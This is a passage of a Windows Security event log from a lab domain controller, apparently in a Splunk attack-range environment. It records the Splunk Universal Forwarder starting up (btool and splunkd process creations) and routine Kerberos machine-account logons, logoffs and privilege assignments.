SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250144 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1120 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250143 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10f0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250142 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250141 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x107c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x108c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250140 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x108c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x109c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250139 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x109c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250138 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" start --answer-yes --no-prompt --accept-license --auto-ports - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250137 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10cc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10d4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250136 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2ec - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" start --answer-yes --no-prompt --accept-license --auto-ports >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250135 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaa4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250134 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFF8A2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250133 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFF8A2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64397 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250132 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFF8A2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250131 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFF841 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250130 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFF841 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64396 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250129 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFF841 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250128 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFF7DB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250127 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFF7DB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64395 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250126 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFF7DB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250125 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFF77A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250124 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFF77A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64394 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250123 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFF77A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250122 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1344 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250168 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11d8 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServerListener: --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. 